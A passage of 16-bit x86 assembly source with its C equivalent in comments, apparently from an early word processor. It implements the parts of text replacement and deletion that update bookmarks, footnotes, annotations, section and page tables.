; vsab.fMayHavePic : PdodMother(docIns)->fMayHavePic;
mov si,[di.pcaInsXsr]
errnz <(fMayHavePicSab) - (fFormattedSab) - 1>
mov ax,wptr ([vsab.fFormattedSab])
and ax,maskFFormattedSab + (maskFMayHavePicSab SHL 8)
add al,0FFh
sbb al,al
add ah,0FFh
sbb ah,ah
cmp [si.docCa],docScrap
je XRC24
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
mov al,[bx.fFormattedDod]
push ax ;save flags
cCall N_PdodMother,<[si.docCa]>
xchg ax,bx
pop ax ;restore flags
mov ah,[bx.fMayHavePicDod]
XRC24:
and ax,maskFFormattedDod + (maskFMayHavePicDod SHL 8)
mov si,[di.pcaDelXsr]
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
or [bx.fFormattedDod],al
push ax ;save flags
cCall N_PdodMother,<[si.docCa]>
xchg ax,bx
pop ax ;restore flags
or [bx.fMayHavePicDod],ah
; if (!vfNoInval)
; {
; InvalCp1(pcaDel);
; Win( InvalText (pcaDel, fTrue /* fEdit */) );
; }
; else
; /* inval the caches even if vfNoInval on */
; InvalCaFierce();
;LN_DoInval assumes pca passed in si and performs
;if (!vfNoInval) { InvalCp1(pca); }
;else InvalCaFierce();
;ax, bx, cx, dx are altered.
call LN_DoInval
; /* invalidate FetchCpPccpVisible */
;#define InvalVisiCache() (vdocFetchVisi = docNil)
;#define InvalCellCache() (vcaCell.doc = docNil)
; InvalVisiCache();
; InvalCellCache();
;FUTURE: It seems like we should not have to invalidate
; vdocFetchVisi and vcaCell here because both InvalCaFierce
; and InvalCp1 do it for us, but InvalText calls InvalDde
; which indirectly causes vcaCell to get set up again if
; there is a table.
errnz <docNil>
xor ax,ax
mov [vdocFetchVisi],ax
mov [vcaCell.docCa],ax
; MeltHp();
ifdef DEBUG
call LN_MeltHpEdit
endif ;DEBUG
; AdjustCp(pcaDel, dcpIns);
;/* NOTE after this point pcaDel->cpLim may be untrustworthy because it may
; have been adjusted as a side effect of AdjustCp (eg. selCur.ca) */
push si
push [SEG_dcpIns]
push [OFF_dcpIns]
ifdef DEBUG
cCall S_AdjustCp,<>
else ;!DEBUG
push cs
call near ptr N_AdjustCp
endif ;!DEBUG
; }
XRC27:
;/* copy enclosed structures and subdocs */
;/* copy any enclosed fields */
; if (FFieldsInPca(pcaIns))
; XCopyFields(fPlan, pxbc, pcaIns, pcaDel);
;LN_FFieldsInPca assumes pca passed in si and performs
;FFieldsInPca(pca). ax, bx, cx, dx are altered.
;The sign bit set reflects a true result
mov si,[di.pcaInsXsr]
call LN_FFieldsInPca
jns XRC28
cCall XCopyFields,<[fPlan], [pxbc], si, [di.pcaDelXsr]>
XRC28:
;/* page table: if there is a table to be updated, call routine. Even if
;the source table is empty, the destination will have to be invalidated. */
; if ((*hdodDest)->hplcpgd)
; {
; XAddToHplcEdit(fPlan, pxbc, &pxsr->xsaPgdCopy, pcaIns, pcaDel,
; edcPgd);
; InvalLlc();
;#define InvalLlc()
; }
;#define edcPgd (offset(DOD, hplcpgd) / sizeof(int))
;XRC43 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov si,[di.pcaDelXsr]
mov dx,([xsaPgdDelXsr])
mov al,([hplcpgdDod]) SHR 1
call XRC43
; if (!(*hdodSrc)->fShort && !(*hdodDest)->fShort)
; {
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
push wptr ([bx.fShortDod])
mov si,[di.pcaInsXsr]
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
pop ax
or al,[bx.fShortDod]
je Ltemp011
jmp XRC40
Ltemp011:
;/* copy any bookmarks in the source document which are fully enclosed
; in the insertion range to the destination document */
; if ((*hdodSrc)->hsttbBkmk != hNil)
; XCopyBkmks(fPlan, pxbc, &pxsr->xsbCopy, pcaIns, pcaDel);
cmp [bx.hsttbBkmkDod],hNil
je XRC29
lea dx,[di.xsbCopyXsr]
cCall XCopyBkmks,<[fPlan], [pxbc], dx, si, [di.pcaDelXsr]>
XRC29:
;/* copy any anotations along with their reference marks */
; if ((*hdodSrc)->docAtn != docNil)
; XAddReferencedText(fPlan, pxbc, &pxsr->xsfAtnCopy, pcaIns, pcaDel,
; edcDrpAtn);
;#define edcDrpAtn (offset(DOD,drpAtn)/sizeof(int))
;XRC47 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddReferencedText(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov dx,([xsfAtnCopyXsr])
mov al,([drpAtnDod]) SHR 1
call XRC47
;/* copy any footnotes along with their reference marks */
; if ((*hdodSrc)->docFtn != docNil)
; XAddReferencedText(fPlan, pxbc, &pxsr->xsfFtnCopy, pcaIns, pcaDel,
; edcDrpFtn);
;#define edcDrpFtn (offset(DOD,drpFtn)/sizeof(int))
;XRC47 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddReferencedText(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov dx,([xsfFtnCopyXsr])
mov al,([drpFtnDod]) SHR 1
call XRC47
;/* if there are any sections call AddHplcEdit to copy entries from
;one hplcsed to the other */
; if ((*hdodSrc)->hplcsed)
; {
xor ax,ax
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
errnz <docNil - 0>
cmp [bx.hplcSedDod],ax
je XRC31
; caSect.doc = docNil;
mov [caSect.docCa],ax
; if ((*hdodSrc)->docHdr != docNil || (*hdodDest)->docHdr != docNil)
; {
mov ax,[bx.docHdrDod]
push si ;save pcaIns
mov si,[di.pcaDelXsr]
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
pop si ;restore pcaIns
errnz <docNil - 0>
or ax,[bx.docHdrDod]
je XRC30
; XAddHdrText(fPlan, pxbc, pcaIns, pcaDel);
cCall XAddHdrText,<[fPlan], [pxbc], si, [di.pcaDelXsr]>
; caSect.doc = docNil; /* XAdd.. called CacheSect */
errnz <docNil - 0>
xor ax,ax
mov [caSect.docCa],ax
; }
XRC30:
; XAddToHplcEdit(fPlan, pxbc, &pxsr->xsaSedCopy, pcaIns, pcaDel,
; edcSed);
; InvalLlc();
;#define InvalLlc()
;XRC43 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaSedCopyXsr])
mov al,([hplcsedDod]) SHR 1
call XRC43
; }
XRC31:
; if ((*hdodSrc)->fSea && (*hdodSrc)->hplcsea)
; XAddToHplcEdit(fPlan, pxbc, &pxsr->xsaSeaCopy, pcaIns, pcaDel,
; edcSea);
;#define edcSea (offset(DOD, hplcsea) / sizeof(int))
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
test [bx.fSeaDod],maskFSeaDod
je XRC32
;XRC43 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaSeaCopyXsr])
mov al,([hplcseaDod]) SHR 1
call XRC43
XRC32:
;/* outline table: as for page table */
; if (fPlan)
; pxsr->fNotDelPassCpMac = (pcaDel->cpFirst < (CpMacDoc(docDel)+dcpIns-dcpDel));
mov si,[di.pcaDelXsr]
cmp [fPlan],fFalse
je XRC34
cCall CpMacDoc,<[si.docCa]>
mov bx,[OFF_dcpDel]
mov cx,[SEG_dcpDel]
sub bx,[OFF_dcpIns]
sbb cx,[SEG_dcpIns]
sub bx,ax
sbb cx,dx
errnz <fFalse>
xor ax,ax
add bx,[si.LO_cpFirstCa]
adc cx,[si.HI_cpFirstCa]
jge XRC33
errnz <fTrue - fFalse - 1>
inc ax
XRC33:
mov [di.fNotDelPassCpMacXsr],ax
XRC34:
; if (((*hdodDest)->hplcpad || (*hdodSrc)->hplcpad) &&
; pxsr->fNotDelPassCpMac && (*hdodDest)->dk != dkGlsy)
; {
; XAddToHplcEdit(fPlan, pxbc, &pxsr->xsaPadCopy, pcaIns, pcaDel,
; edcPad);
; }
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
cmp [bx.dkDod],dkGlsy
je XRC35
cmp [di.fNotDelPassCpMacXsr],fFalse
je XRC35
push si ;save pcaDel
mov si,[di.pcaInsXsr]
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
pop si ;restore pcaDel
;XRC44 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if ((cx | hplc) != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov cx,[bx.hplcpadDod]
mov dx,([xsaPadCopyXsr])
mov al,([hplcpadDod]) SHR 1
call XRC44
XRC35:
;/* height table */
; if ((*hdodDest)->hplcphe)
; XAddToHplcEdit(fPlan, pxbc, &pxsr->xsaPheCopy, pcaIns, pcaDel,
; edcPhe);
;XRC43 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaPheCopyXsr])
mov al,([hplcpheDod]) SHR 1
call XRC43
;/* we will replace docDest's hidden section character with the hidden section
; mark from docSrc only if we are not already copying the section mark,
; we are copying the tail of docIns to the tail of docDel, the text
; copied from docIns does not end with a section mark, and if docSrc is
; guarded (ie. == docScrap or docUndo) the hidden section character had to
; have been copied from the original document. */
; if (fPlan)
; {
cmp [fPlan],fFalse
jne Ltemp010
jmp XRC39
Ltemp010:
; CP cpTailIns = CpTail(docIns);
; struct DOD *pdodIns;
;/* Note that no cps have been adjusted yet */
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
mov cx,si
mov si,[di.pcaInsXsr]
mov di,bx
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
; pxsr->fReplHidnSect =
; pcaDel->cpFirst + dcpDel <= CpMacDoc(docDel) &&
;*hdodSrc in bx, pcaDel in cx, pcaIns in si, *hdodDest in di
;***Begin in line CpMacDoc
;return ((*mpdochdod[doc]->cpMac - 2*ccpEop);
mov ax,-2*ccpEop
cwd
add ax,[di.LO_cpMacDod]
adc dx,[di.HI_cpMacDod]
;***End in line CpMacDoc
xchg cx,si
sub ax,[si.LO_cpFirstCa]
sbb dx,[si.HI_cpFirstCa]
xchg cx,si
sub ax,[OFF_dcpDel]
sbb dx,[SEG_dcpDel]
jl XRC38
; pcaIns->cpFirst < CpMacDoc(docIns) &&
;*hdodSrc in bx, pcaDel in cx, pcaIns in si, *hdodDest in di
;***Begin in line CpMacDoc
;return ((*mpdochdod[doc]->cpMac - 2*ccpEop);
mov ax,2*ccpEop
cwd
sub ax,[bx.LO_cpMacDod]
sbb dx,[bx.HI_cpMacDod]
;***End in line CpMacDoc
add ax,[si.LO_cpFirstCa]
adc dx,[si.HI_cpFirstCa]
jge XRC38
; pcaIns->cpLim >= cpTailIns &&
; !FSectLimAtCp(docIns, cpTailIns) &&
;Assembler note: do these two lines involving cpTailIns later
;to avoid messing up registers
; pcaDel->cpLim >= CpTail(docDel) -
; ((!PdodDoc(docDel)->fGuarded) ? ccpEop : cp0) &&
;*hdodSrc in bx, pcaDel in cx, pcaIns in si, *hdodDest in di
;***Begin in line CpTail
;return (PdodDoc(doc)->fGuarded ? CpMacDocEdit(doc) : CpMacDoc(doc));
;Assembler note: The following line is CpMacDocEdit.
;return(CpMacDoc(doc) - ccpEop);
;Assembler note: This means that the above expression involving
;CpTail reduces to (CpMacDoc(doc) - ccpEop).
mov ax,3*ccpEop
cwd
sub ax,[di.LO_cpMacDod]
sbb dx,[di.HI_cpMacDod]
;***End in line CpTail
xchg cx,si
add ax,[si.LO_cpLimCa]
adc dx,[si.HI_cpLimCa]
xchg cx,si
jl XRC38
; (!(pdodIns=PdodDoc(docIns))->fGuarded ||
test [bx.fGuardedDod],maskFGuardedDod
je XRC36
; (pdodIns->fSedMacEopCopied && (dcpDel > cp0 || dcpIns == CpMacDocEdit(docIns))));
test [bx.fSedMacEopCopiedDod],maskFSedMacEopCopiedDod
je XRC38
xor ax,ax
cmp ax,[OFF_dcpDel]
sbb ax,[SEG_dcpDel]
jl XRC36
;***Begin in line CpMacDocEdit
;return(CpMacDoc(doc) - ccpEop);
mov ax,-3*ccpEop
cwd
add ax,[bx.LO_cpMacDod]
adc dx,[bx.HI_cpMacDod]
;***End in line CpMacDocEdit
sub ax,[OFF_dcpIns]
sbb dx,[SEG_dcpIns]
or ax,dx
jne XRC38
XRC36:
; CP cpTailIns = CpTail(docIns);
; pcaIns->cpLim >= cpTailIns &&
; !FSectLimAtCp(docIns, cpTailIns) &&
;Assembler note: These three lines are done above in the C version
;*hdodSrc in bx, pcaDel in cx, pcaIns in si, *hdodDest in di
;***Begin in line CpTail
;return (PdodDoc(doc)->fGuarded ? CpMacDocEdit(doc) : CpMacDoc(doc));
;Assembler note: The following line is CpMacDocEdit.
;return(CpMacDoc(doc) - ccpEop);
mov al,-3*ccpEop
test [bx.fGuardedDod],maskFGuardedDod
jne XRC37
mov al,-2*ccpEop
XRC37:
cbw
cwd
add ax,[bx.LO_cpMacDod]
adc dx,[bx.HI_cpMacDod]
;***End in line CpTail
cmp [si.LO_cpLimCa],ax
mov cx,[si.HI_cpLimCa]
sbb cx,dx
jl XRC38
cCall FSectLimAtCp,<[si.docCa], dx, ax>
or ax,ax
jne XRC38
; }
db 0B8h ;turns next "xor ax,ax" into "mov ax,immediate"
XRC38:
xor ax,ax
mov di,[pxsr]
mov [di.fReplHidnSectXsr],ax
XRC39:
; if (pxsr->fReplHidnSect)
; {
cmp [di.fReplHidnSectXsr],fFalse
je XRC40
; struct XSR *pxsrT = PxsAlloc(pxbc);
;***Begin in line PxsAlloc
mov bx,[pxbc]
; Assert(pxbc->ixsMac < pxbc->ixsMax);
ifdef DEBUG
;Do this assert with a call so as not to mess up short jumps
call XRC50
endif ;DEBUG
; return pxbc->rgxs + (cbXSR * pxbc->ixsMac++);
mov ax,cbXsrMin
mul [bx.ixsMacXbc]
inc [bx.ixsMacXbc]
mov si,[bx.rgxsXbc]
add si,ax
;***End in line PxsAlloc
; struct CA caDel, caIns;
; CheckPxs(fPlan, pxsrT, nxsHidnSect, 0);
;#ifdef DEBUG
;#define CheckPxs(fPlan,pxs,nxsT,wT) (fPlan ? (pxs->nxs=nxsT, pxs->w=wT) : \
; Assert(pxs->nxs==nxsT && pxs->w==wT))
;#else
;#define CheckPxs(fPlan,pxs,nxsT,wT)
;#endif /* DEBUG */
ifdef DEBUG
;Do this assert with a call so as not to mess up short jumps
call XRC52
endif ;DEBUG
; pxsrT->pcaDel = PcaSetDcp(&caDel, docDel, CpMac1Doc(docDel)-ccpEop,
; ccpEop);
mov bx,[di.pcaDelXsr]
lea ax,[caDel]
mov [si.pcaDelXsr],ax
call LN_PcaSetDcp
; pxsrT->pcaIns = PcaSetDcp(&caIns, docIns, CpMac1Doc(docIns)-ccpEop,
; ccpEop);
mov bx,[di.pcaInsXsr]
lea ax,[caIns]
mov [si.pcaInsXsr],ax
call LN_PcaSetDcp
; XReplaceCps(fPlan, pxbc, pxsrT);
push [fPlan]
push [pxbc]
push si
ifdef DEBUG
cCall S_XReplaceCps,<>
else ;!DEBUG
push cs
call near ptr N_XReplaceCps
endif ;!DEBUG
; if (!fPlan && PdodDoc(docDel)->fGuarded)
; PdodDoc(docDel)->fSedMacEopCopied = fTrue;
cmp [fPlan],fFalse
jne XRC40
mov si,[di.pcaDelXsr]
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
test [bx.fGuardedDod],maskFGuardedDod
je XRC40
or [bx.fSedMacEopCopiedDod],maskFSedMacEopCopiedDod
; }
; }
XRC40:
;}
cEnd
; AssertDo(FOpenPlc(hplcpcd, ipcdFirst, cpcd));
ifdef DEBUG
XRC41:
or ax,ax
jne XRC42
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1032
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
XRC42:
ret
endif ;DEBUG
;XRC43 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
XRC43:
xor cx,cx
;XRC44 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if ((cx | hplc) != hNil)
; XAddToHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
XRC44:
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
ifdef DEBUG
or al,al
jns XRC45
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1033
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
XRC45:
endif ;/* DEBUG */
cbw
add bx,ax
add bx,ax
or cx,[bx]
jcxz XRC46
push [fPlan]
push [pxbc]
add dx,di
push dx
push [di.pcaInsXsr]
push [di.pcaDelXsr]
push ax
cCall XAddToHplcEdit,<>
XRC46:
ret
;XRC47 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XAddReferencedText(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
;ax, bx, cx and dx are altered.
XRC47:
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
ifdef DEBUG
or al,al
jns XRC48
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1034
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
XRC48:
endif ;/* DEBUG */
; XAddReferencedText(fPlan, pxbc, ((char *)pxsr) + dx,
; ((struct XSR *)di)->pcaIns, ((struct XSR *)di)->pcaDel, al);
cbw
add bx,ax
add bx,ax
mov cx,[bx]
jcxz XRC49
push [fPlan]
push [pxbc]
add dx,di
push dx
push [di.pcaInsXsr]
push [di.pcaDelXsr]
push ax
cCall XAddReferencedText,<>
XRC49:
ret
ifdef DEBUG
XRC50:
push ax
push bx
push cx
push dx
mov ax,[bx.ixsMacXbc]
cmp ax,[bx.ixsMaxXbc]
jl XRC51
mov ax,midEditn2
mov bx,1035
cCall AssertProcForNative,<ax,bx>
XRC51:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
ifdef DEBUG
XRC52:
push ax
push bx
push cx
push dx
cmp [fPlan],fFalse
je XRC53
mov [si.nxsXsr],nxsHidnSect
mov [si.wXsr],0
jmp short XRC55
XRC53:
cmp [si.nxsXsr],nxsHidnSect
jne XRC54
cmp [si.wXsr],0
je XRC55
XRC54:
mov ax,midEditn2
mov bx,1036
cCall AssertProcForNative,<ax,bx>
XRC55:
pop dx
pop cx
pop bx
pop ax
ret
endif ;DEBUG
LN_PcaSetDcp:
mov cx,[bx.docCa]
xchg ax,bx
mov [bx.docCa],cx
push bx
cCall CpMac1Doc,<cx>
pop bx
mov [bx.LO_cpLimCa],ax
mov [bx.HI_cpLimCa],dx
sub ax,ccpEop
sbb dx,0
mov [bx.LO_cpFirstCa],ax
mov [bx.HI_cpFirstCa],dx
ret
;-------------------------------------------------------------------------
; XDelFndSedPgdPad(fPlan, pxbc, pxsr)
;-------------------------------------------------------------------------
;/* X D E L F N D S E D P G D P A D */
;/* Delete all footnote/annotation text corresponding to refs in [cpFirst:cpLim)
;Also delete SED's for section marks and invalidate PGD's in the page table.
;*/
;EXPORT XDelFndSedPgdPad(fPlan, pxbc, pxsr)
;BOOL fPlan;
;struct XBC *pxbc;
;struct XSR *pxsr;
;{
; struct PLC **hplc;
; struct DOD **hdod;
; struct CA caT;
ifdef DEBUG
; %%Function:N_XDelFndSedPgdPad %%Owner:BRADV
cProc N_XDelFndSedPgdPad,<PUBLIC,FAR>,<si,di>
else ;!DEBUG
; %%Function:LN_XDelFndSedPgdPad %%Owner:BRADV
cProc LN_XDelFndSedPgdPad,<PUBLIC,NEAR>,<si,di>
endif ;!DEBUG
ParmW fPlan
ParmW pxbc
ParmW pxsr
LocalV caT,cbCaMin
cBegin
; caT = *pxsr->pcaDel;
push ds
pop es
mov di,[pxsr]
push di ;save pxsr
mov si,[di.pcaDelXsr]
lea di,[caT]
push di
errnz <cbCaMin AND 1>
mov cx,cbCaMin SHR 1
rep movsw
pop si
pop di ;restore pxsr
; hdod = mpdochdod[caT.doc];
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
;/* FUTURE: why does this have to be done here? Can it be done below with the
;rest of the !fShort processing? */
; if (!(*hdod)->fShort)
cmp [bx.fShortDod],fFalse
jne XDFSPP02
; if ((hplc = (*hdod)->hplcsed) != 0)
; {
mov cx,[bx.hplcsedDod]
jcxz XDFSPP02
mov dx,[fPlan]
push dx ;argument for XDelInHplcEdit
push [pxbc] ;argument for XDelInHplcEdit
errnz <NULL>
xor ax,ax
push ax ;argument for XDelInHplcEdit
push [di.pcaDelXsr] ;argument for XDelInHplcEdit
push cx ;argument for XDelInHplcEdit
errnz <edcNone - 0>
push ax ;argument for XDelInHplcEdit
; if ((*hdod)->docHdr != docNil)
; XDeleteHdrText(fPlan, pxbc, &pxsr->xsp, pxsr->pcaDel);
errnz <docNil - 0>
cmp [bx.docHdrDod],ax
je XDFSPP01
lea bx,[di.xspXsr]
cCall XDeleteHdrText,<dx, [pxbc], bx, [di.pcaDelXsr]>
XDFSPP01:
; XDelInHplcEdit(fPlan, pxbc, NULL, pxsr->pcaDel, hplc,
; edcNone);
cCall XDelInHplcEdit,<>
; InvalLlc();
;#define InvalLlc()
; }
XDFSPP02:
;/* protect PLCs from lookups with cp > cpMac */
; Assert(caT.cpLim <= CpMac2Doc(caT.doc));
ifdef DEBUG
call XDFSPP12
endif ;/* DEBUG */
; caT.cpLim = CpMin(caT.cpLim, CpMac2Doc(caT.doc));
cCall CpMac2Doc,<[caT.docCa]>
cmp ax,[caT.LO_cpLimCa]
mov cx,dx
sbb cx,[caT.HI_cpLimCa]
jge XDFSPP03
mov [caT.LO_cpLimCa],ax
mov [caT.HI_cpLimCa],dx
XDFSPP03:
; if (caT.cpLim <= caT.cpFirst)
; return;
mov ax,[caT.LO_cpFirstCa]
mov dx,[caT.HI_cpFirstCa]
sub ax,[caT.LO_cpLimCa]
sbb dx,[caT.HI_cpLimCa]
jge XDFSPP05
;/* these PLCs are in short and long docs */
; if ((hplc = (*hdod)->hplcpgd) != 0)
; {
; XDelInHplcEdit(fPlan, pxbc, &pxsr->xsaPgdDel, &caT, hplc, edcPgd);
; InvalLlc();
; }
;#define InvalLlc()
;#define edcPgd (offset(DOD, hplcpgd) / sizeof(int))
;XDFSPP06 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XDelInHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx, si, hplc, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaPgdDelXsr])
mov al,([hplcpgdDod]) SHR 1
call XDFSPP06
; if ((hplc = (*hdod)->hplcphe) != 0)
; XDelInHplcEdit(fPlan, pxbc, &pxsr->xsaPheDel, &caT, hplc, edcPhe);
;#define edcPhe (offset(DOD, hplcphe) / sizeof(int))
;XDFSPP06 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XDelInHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx, si, hplc, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaPheDelXsr])
mov al,([hplcpheDod]) SHR 1
call XDFSPP06
; if ((*hdod)->fShort)
; return;
;/* PLCs for long docs only */
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
cmp [bx.fShortDod],fFalse
jne XDFSPP05
; if ((*hdod)->docFtn != docNil)
; XDelReferencedText(fPlan, pxbc, &pxsr->xsfFtnDel, &caT, edcDrpFtn);
;#define edcDrpFtn (offset(DOD,drpFtn)/sizeof(int))
;XDFSPP09 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + cx);
;if (hplc != hNil)
; XDelReferencedText(fPlan, pxbc, ((char *)pxsr) + dx, si, al);
;ax, bx, cx and dx are altered.
mov dx,([xsfFtnDelXsr])
mov al,([drpFtnDod]) SHR 1
mov cx,([docFtnDod])
call XDFSPP09
; if ((*hdod)->docAtn != docNil)
; XDelReferencedText(fPlan, pxbc, &pxsr->xsfAtnDel, &caT, edcDrpAtn);
;#define edcDrpAtn (offset(DOD,drpAtn)/sizeof(int))
;XDFSPP09 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + cx);
;if (hplc != hNil)
; XDelReferencedText(fPlan, pxbc, ((char *)pxsr) + dx, si, al);
;ax, bx, cx and dx are altered.
mov dx,([xsfAtnDelXsr])
mov al,([drpAtnDod]) SHR 1
mov cx,([docAtnDod])
call XDFSPP09
; if ((hplc = (*hdod)->hplcpad) != 0 && caT.cpFirst < CpMacDoc(caT.doc))
; XDelInHplcEdit(fPlan, pxbc, &pxsr->xsaPadDel, &caT, hplc, edcPad);
;#define edcPad (offset(DOD, hplcpad) / sizeof(int))
cCall CpMacDoc,<[caT.docCa]>
cmp [caT.LO_cpFirstCa],ax
mov cx,[caT.HI_cpFirstCa]
sbb cx,dx
jge XDFSPP04
;XDFSPP06 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XDelInHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx, si, hplc, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaPadDelXsr])
mov al,([hplcpadDod]) SHR 1
call XDFSPP06
XDFSPP04:
; if ((*hdod)->fSea && (hplc = (*hdod)->hplcsea) != 0)
; XDelInHplcEdit(fPlan, pxbc, &pxsr->xsaSeaDel, &caT, hplc, edcSea);
;#define edcSea (offset(DOD, hplcsea) / sizeof(int))
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
test [bx.fSeaDod],maskfSeaDod
je XDFSPP05
;XDFSPP06 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XDelInHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx, si, hplc, al);
;ax, bx, cx and dx are altered.
mov dx,([xsaSeaDelXsr])
mov al,([hplcseaDod]) SHR 1
call XDFSPP06
XDFSPP05:
;}
cEnd
;XDFSPP06 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + al);
;if (hplc != hNil)
; XDelInHplcEdit(fPlan, pxbc, ((char *)pxsr) + dx, si, hplc, al);
;ax, bx, cx and dx are altered.
XDFSPP06:
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
ifdef DEBUG
or al,al
jns XDFSPP07
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1037
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
XDFSPP07:
endif ;/* DEBUG */
cbw
add bx,ax
add bx,ax
mov cx,[bx]
jcxz XDFSPP08
push [fPlan]
push [pxbc]
add dx,di
push dx
push si
push cx
push ax
cCall XDelInHplcEdit,<>
XDFSPP08:
ret
;XDFSPP09 performs
;hplc = *(((int *)(PdodDoc(((struct CA *)si)->doc))) + cx);
;if (hplc != hNil)
; XDelReferencedText(fPlan, pxbc, ((char *)pxsr) + dx, si, al);
;ax, bx, cx and dx are altered.
XDFSPP09:
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
ifdef DEBUG
or al,al
jns XDFSPP10
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1038
